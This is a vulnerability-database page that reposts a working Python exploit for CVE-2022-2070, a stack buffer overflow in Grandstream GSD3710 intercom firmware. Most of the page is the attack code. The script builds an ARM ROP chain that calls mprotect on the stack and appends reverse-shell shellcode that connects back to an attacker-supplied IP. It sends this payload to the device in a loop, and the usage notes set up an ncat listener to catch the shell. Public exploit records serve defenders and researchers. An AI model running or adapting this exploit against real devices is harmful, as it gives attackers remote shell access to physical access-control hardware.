Lucene search
K

πŸ“„ Grandstream GSD3710 1.0.11.13 Stack Buffer Overflow

πŸ—“οΈΒ 26 May 2025Β 00:00:00Reported byΒ PepeluxTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 75Β Views

Grandstream GSD3710 stack overflow in firmware 1.0.11.13 and earlier (CVE-2022-2070).

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2022-2070
23 Sep 202220:43
–circl
CNNVD
Grandstream GSD3710 ηΌ“ε†²εŒΊι”™θ――ζΌζ΄ž
23 Sep 202200:00
–cnnvd
CVE
CVE-2022-2070
23 Sep 202215:06
–cve
Cvelist
CVE-2022-2070 Grandstream GSD3710 Stack-based Buffer Overflow
23 Sep 202215:06
–cvelist
Exploit DB
Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
25 May 202500:00
–exploitdb
EUVD
EUVD-2022-34362
23 Sep 202215:06
–euvd
NVD
CVE-2022-2070
23 Sep 202216:15
–nvd
Prion
Design/Logic Flaw
23 Sep 202216:15
–prion
Vulnrichment
CVE-2022-2070 Grandstream GSD3710 Stack-based Buffer Overflow
23 Sep 202215:06
–vulnrichment
#!/usr/bin/env python3
    
    # Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
    # Google Dork: [if applicable]
    # Date: 2025-05-23
    # Exploit Author: Pepelux (user in ExploitDB)
    # Vendor Homepage: https://www.grandstream.com/
    # Software Link: [download link if available]
    # Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
    # Tested on: Linux and MacOS
    # CVE: CVE-2022-2070
    
    """
    Author: Jose Luis Verdeguer (@pepeluxx)
    
    Required: Pwntools
    
    Example:
    
    Terminal 1:
    $ ncat -lnvp 4444
    
    Terminal 2:
    $ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
    """
    
    from operator import ge
    import sys
    import time
    from pwn import *
    
    import argparse
    
    
    def get_args():
        parser = argparse.ArgumentParser(
            formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
                prog, max_help_position=50))
    
        # Add arguments
        parser.add_argument('-ti', '--target_ip', type=str, required=True,
                            help='device IP address', dest="device_ip")
        parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
                            help='device port', dest="device_port")
        parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
                            help='reverse IP address', dest="reverse_ip")
        parser.add_argument('-rp', '--reverse_port', type=int, required=True,
                            help='reverse port', dest="reverse_port")
    
        # Array for all arguments passed to script
        args = parser.parse_args()
    
        try:
            TI = args.device_ip
            TP = args.device_port
            RI = args.reverse_ip
            RP = args.reverse_port
    
            return TI, TP, RI, RP
        except ValueError:
            exit()
    
    
    def check_badchars(data):
        for i in range(len(data)):
            if data[i] in [0x0, 0x40]:
                log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
                return True
        return False
    
    
    def get_shellcode(ip, port):
        ip_bytes = socket.inet_aton(ip)
        port_bytes = struct.pack(">H", port)
    
        # Linux ARM reverse shell
    
        # switch to thumb mode
        sc = b"\x01\x30\x8F\xE2"  # add r3, pc, #1
        sc += b"\x13\xFF\x2F\xE1"  # bx r3
    
        # socket(2, 1, 0)
        sc += b"\x02\x20"  # movs r0, #2
        sc += b"\x01\x21"  # movs r1, #1
        sc += b"\x92\x1A"  # subs r2, r2, r2
        sc += b"\xC8\x27"  # movs r7, #0xc8
        sc += b"\x51\x37"  # adds r7, #0x51
        sc += b"\x01\xDF"  # svc #1
        sc += b"\x04\x1C"  # adds r4, r0, #0
    
        # connect(r0, &sockaddr, 16)
        sc += b"\x0C\xA1"  # adr r1, #0x30
        sc += b"\x4A\x70"  # strb r2, [r1, #1]
        sc += b"\x10\x22"  # movs r2, #0x10
        sc += b"\x02\x37"  # adds r7, #2
        sc += b"\x01\xDF"  # svc #1
    
        # dup2(sockfd, 0)
        sc += b"\x3F\x27"  # movs r7, #0x3f
        sc += b"\x20\x1C"  # adds r0, r4, #0
        sc += b"\x49\x1A"  # subs r1, r1, r1
        sc += b"\x01\xDF"  # svc #1
    
        # dup2(sockfd, 1)
        sc += b"\x20\x1C"  # adds r0, r4, #0
        sc += b"\x01\x21"  # movs r1, #1
        sc += b"\x01\xDF"  # svc #1
    
        # dup2(sockfd, 2)
        sc += b"\x20\x1C"  # adds r0, r4, #0
        sc += b"\x02\x21"  # movs r1, #2
        sc += b"\x01\xDF"  # svc #1
    
        # execve("/bin/sh")
        sc += b"\x06\xA0"  # adr r0, #0x18
        sc += b"\x92\x1A"  # subs r2, r2, r2
        sc += b"\x49\x1A"  # subs r1, r1, r1
        sc += b"\x01\x91"  # str r1, [sp, #4]
        sc += b"\x02\x91"  # str r1, [sp, #8]
        sc += b"\x01\x90"  # str r0, [sp, #4]
        sc += b"\x01\xA9"  # add r1, sp, #4
        sc += b"\xC2\x71"  # strb r2, [r0, #7]
        sc += b"\x0B\x27"  # movs r7, #0xb
        sc += b"\x01\xDF"  # svc #1
    
        sc += b"\x02\xFF"
        sc += port_bytes
        sc += ip_bytes
        sc += b"/bin/shX"
    
        return sc
    
    
    def main():
        ti, tp, ri, rp = get_args()
    
        # ROP Gadgets
    
        libc_base = 0x76ec1000
    
        mprotect = libc_base + 0x93510+1
        pop_lr = libc_base + 0x1848C  # pop {r0, r4, r8, ip, lr, pc}
        pop_pc = libc_base + 0xd7515  # pop {pc}
        pop_r0 = libc_base + 0x00064bb0+1  # 0x00064bb0 : pop {r0, pc}
    
        pop_r5 = libc_base + 0x00003738+1  # 0x00003738 : pop {r5, pc}
        add_r1_sp = libc_base + 0x000b3c4e+1  # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
        # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
        mov_r0_r1 = libc_base + 0x0002f83d
        # 0x0006a086 (0x0006a087): pop {r1, pc}
        pop_r1 = libc_base + 0x6a087
        ands_r0_r1 = libc_base + 0x1feba+1  # 0x0001feba : ands r0, r1 ; bx lr
        # 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
        mov_r4_r0 = libc_base + 0x000a3a42+1
        # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
        movs_r1_r0 = libc_base + 0x0001fdaf
    
        and_r0_f = libc_base + 0x8717e+1  # 0x0008717e : and r0, r0, #0xf ; bx lr
        movs_r2_r0 = libc_base + 0x0001fc6a+1  # 0x0001fc6a : movs r2, r0 ; bx lr
        mov_r0_r4 = libc_base + 0x0001f9d4+1  # 0x0001f9d4 : movs r0, r4 ; bx lr
        blx_sp = libc_base + 0x46595  # 0x00046594 (0x00046595): blx sp
    
        shellcode = get_shellcode(ri, rp)
    
        auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
        junk = p32(0x43434343)
    
        payload = auth_command
        payload += b"A" * 144
    
        # The goal is that R0 -> SP
    
        # R5 = pop {pc}
        # because in the the next gadget we have a blx r5
        payload += p32(pop_r5)
        payload += p32(pop_pc) # R5 = pop {pc}
    
        # R1 = SP ; BLX pop {pc}
        payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5
    
        # Restore LR register (because it has been updated by the last BLX gadget)
        payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
        payload += junk*4  # r0, r4, r8, ip
        payload += p32(pop_pc) # LR = pop {pc}
    
        # R0 = stack address
        payload += p32(mov_r0_r1) # mov r0, r1; bx lr
    
        # R1 = mask page align
        payload += p32(pop_r1) # pop {r1, pc}
        payload += p32(0xfffe1001)
    
        # R0 = stack address & 0xfffe1001
        payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr 
        # R4 = R0
        payload += p32(mov_r4_r0)  # movs r0, r4 ; bx lr
        payload += junk  # r1
    
        # mprotect params
        # r0 = shellcode page aligned address
        # r1 = size(ofshellcode)
        # r2 = protection (0x7 – RWX)
    
        # R2 = 0x7
        payload += p32(pop_r0)
        payload += p32(0x07070707)
        payload += p32(and_r0_f)  # R0 = 7 (RWX)
        payload += p32(movs_r2_r0)  # R2 (prot: 7 - RWX)
    
        # R1 = length = 0x10101010 (avoid 0's)
        payload += p32(pop_r0)
        payload += p32(0x01010101)
        payload += p32(movs_r1_r0)  # r1 (length: 0x10101010)
    
        # R0 = stack address 4k aligned
        payload += p32(mov_r0_r4)
    
        # mprotect(stack, 0x10101010, 0x7)
        payload += p32(mprotect)
        payload += p32(blx_sp)  # ejecutamos en pila
        payload += shellcode  # shellcode
    
        if check_badchars(payload[len(auth_command):]):
            sys.exit(0)
    
        log.info("Device IP: %s:%d" % (ti, tp))
        log.info("Attacker IP: %s:%d" % (ri, rp))
        log.info("Payload len: %d" % len(payload))
    
        count = 1
    
        while True:
            try:
                print('Try: %d' % count)
                r = remote(ti, tp)
                r.send(payload)
                log.success("Payload sent!")
                # r.close()
                time.sleep(1)
                count += 1
            except:
                sleep(3)
                pass
    
    
    if __name__ == '__main__':
        main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 May 2025 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.19.8
EPSS0.09438
SSVC
75